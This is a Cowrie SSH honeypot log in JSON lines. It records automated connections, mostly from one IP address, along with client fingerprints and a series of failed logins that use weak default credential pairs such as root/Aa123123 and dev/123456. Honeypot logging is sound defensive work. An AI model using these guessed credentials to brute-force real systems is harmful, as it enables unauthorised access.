{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":35772,"dst_ip":"10.17.0.5","dst_port":22,"session":"d9a903c99989","protocol":"ssh","message":"New connection: 193.151.144.93:35772 (10.17.0.5:22) [session: d9a903c99989]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:10:01.981844Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:10:01.989982Z","src_ip":"193.151.144.93","session":"d9a903c99989","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:10:02.155406Z","src_ip":"193.151.144.93","session":"d9a903c99989","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"123456","message":"login attempt [dev/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:10:02.640354Z","src_ip":"193.151.144.93","session":"d9a903c99989","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:10:04.217571Z","src_ip":"193.151.144.93","session":"d9a903c99989","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":35782,"dst_ip":"10.17.0.5","dst_port":22,"session":"ec849e228500","protocol":"ssh","message":"New connection: 193.151.144.93:35782 (10.17.0.5:22) [session: ec849e228500]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:10:07.373201Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:10:07.378513Z","src_ip":"193.151.144.93","session":"ec849e228500","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:10:07.548741Z","src_ip":"193.151.144.93","session":"ec849e228500","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rocky","password":"rocky","message":"login attempt [rocky/rocky] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:10:08.061372Z","src_ip":"193.151.144.93","session":"ec849e228500","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:10:09.230768Z","src_ip":"193.151.144.93","session":"ec849e228500","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":59788,"dst_ip":"10.17.0.5","dst_port":22,"session":"58cc4bcf8498","protocol":"ssh","message":"New connection: 193.151.144.93:59788 (10.17.0.5:22) [session: 58cc4bcf8498]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:10:12.875838Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:10:12.882533Z","src_ip":"193.151.144.93","session":"58cc4bcf8498","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:10:13.054883Z","src_ip":"193.151.144.93","session":"58cc4bcf8498","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"wso2","password":"wso2","message":"login attempt [wso2/wso2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:10:13.573702Z","src_ip":"193.151.144.93","session":"58cc4bcf8498","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.6","message":"Connection lost after 3.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:10:16.477443Z","src_ip":"193.151.144.93","session":"58cc4bcf8498","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.250.105.222","src_port":45684,"dst_ip":"10.17.0.5","dst_port":22,"session":"010b4631cde9","protocol":"ssh","message":"New connection: 51.250.105.222:45684 (10.17.0.5:22) [session: 010b4631cde9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:10:17.581758Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:10:17.586905Z","src_ip":"51.250.105.222","session":"010b4631cde9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:10:17.707981Z","src_ip":"51.250.105.222","session":"010b4631cde9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:10:18.072120Z","src_ip":"51.250.105.222","session":"010b4631cde9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":59792,"dst_ip":"10.17.0.5","dst_port":22,"session":"63031f46bf50","protocol":"ssh","message":"New connection: 193.151.144.93:59792 (10.17.0.5:22) [session: 63031f46bf50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:10:18.181647Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:10:18.190127Z","src_ip":"193.151.144.93","session":"63031f46bf50","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:10:18.367126Z","src_ip":"193.151.144.93","session":"63031f46bf50","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:10:19.198967Z","src_ip":"51.250.105.222","session":"010b4631cde9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"appuser","password":"appuser","message":"login attempt [appuser/appuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:10:20.034418Z","src_ip":"193.151.144.93","session":"63031f46bf50","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.4","message":"Connection lost after 3.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:10:21.627242Z","src_ip":"193.151.144.93","session":"63031f46bf50","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":36116,"dst_ip":"10.17.0.5","dst_port":22,"session":"b63f687b8b8f","protocol":"ssh","message":"New connection: 193.151.144.93:36116 (10.17.0.5:22) [session: b63f687b8b8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:10:23.803885Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:10:23.869416Z","src_ip":"193.151.144.93","session":"b63f687b8b8f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:10:23.973670Z","src_ip":"193.151.144.93","session":"b63f687b8b8f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"developer","password":"developer","message":"login attempt [developer/developer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:10:24.633464Z","src_ip":"193.151.144.93","session":"b63f687b8b8f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:10:26.237207Z","src_ip":"193.151.144.93","session":"b63f687b8b8f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":36130,"dst_ip":"10.17.0.5","dst_port":22,"session":"93adc9b926fc","protocol":"ssh","message":"New connection: 193.151.144.93:36130 (10.17.0.5:22) [session: 93adc9b926fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:10:29.252100Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:10:29.257843Z","src_ip":"193.151.144.93","session":"93adc9b926fc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:10:29.436398Z","src_ip":"193.151.144.93","session":"93adc9b926fc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"123","message":"login attempt [git/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:10:29.984416Z","src_ip":"193.151.144.93","session":"93adc9b926fc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:10:32.067073Z","src_ip":"193.151.144.93","session":"93adc9b926fc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.44026470184326,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:10:32.281251Z","src_ip":"69.4.83.194","session":"6c599d9cb158","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":41318,"dst_ip":"10.17.0.5","dst_port":22,"session":"4ece89b116ef","protocol":"ssh","message":"New connection: 193.151.144.93:41318 (10.17.0.5:22) [session: 4ece89b116ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:10:34.765553Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:10:34.774027Z","src_ip":"193.151.144.93","session":"4ece89b116ef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:10:34.945442Z","src_ip":"193.151.144.93","session":"4ece89b116ef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123123","message":"login attempt [root/Aa123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:10:35.453561Z","src_ip":"193.151.144.93","session":"4ece89b116ef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:10:37.051906Z","src_ip":"193.151.144.93","session":"4ece89b116ef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":57150,"dst_ip":"10.17.0.5","dst_port":22,"session":"37a73fd9b3e2","protocol":"ssh","message":"New connection: 193.151.144.93:57150 (10.17.0.5:22) [session: 37a73fd9b3e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:10:40.213148Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:10:40.221700Z","src_ip":"193.151.144.93","session":"37a73fd9b3e2","protocol":"ssh"}
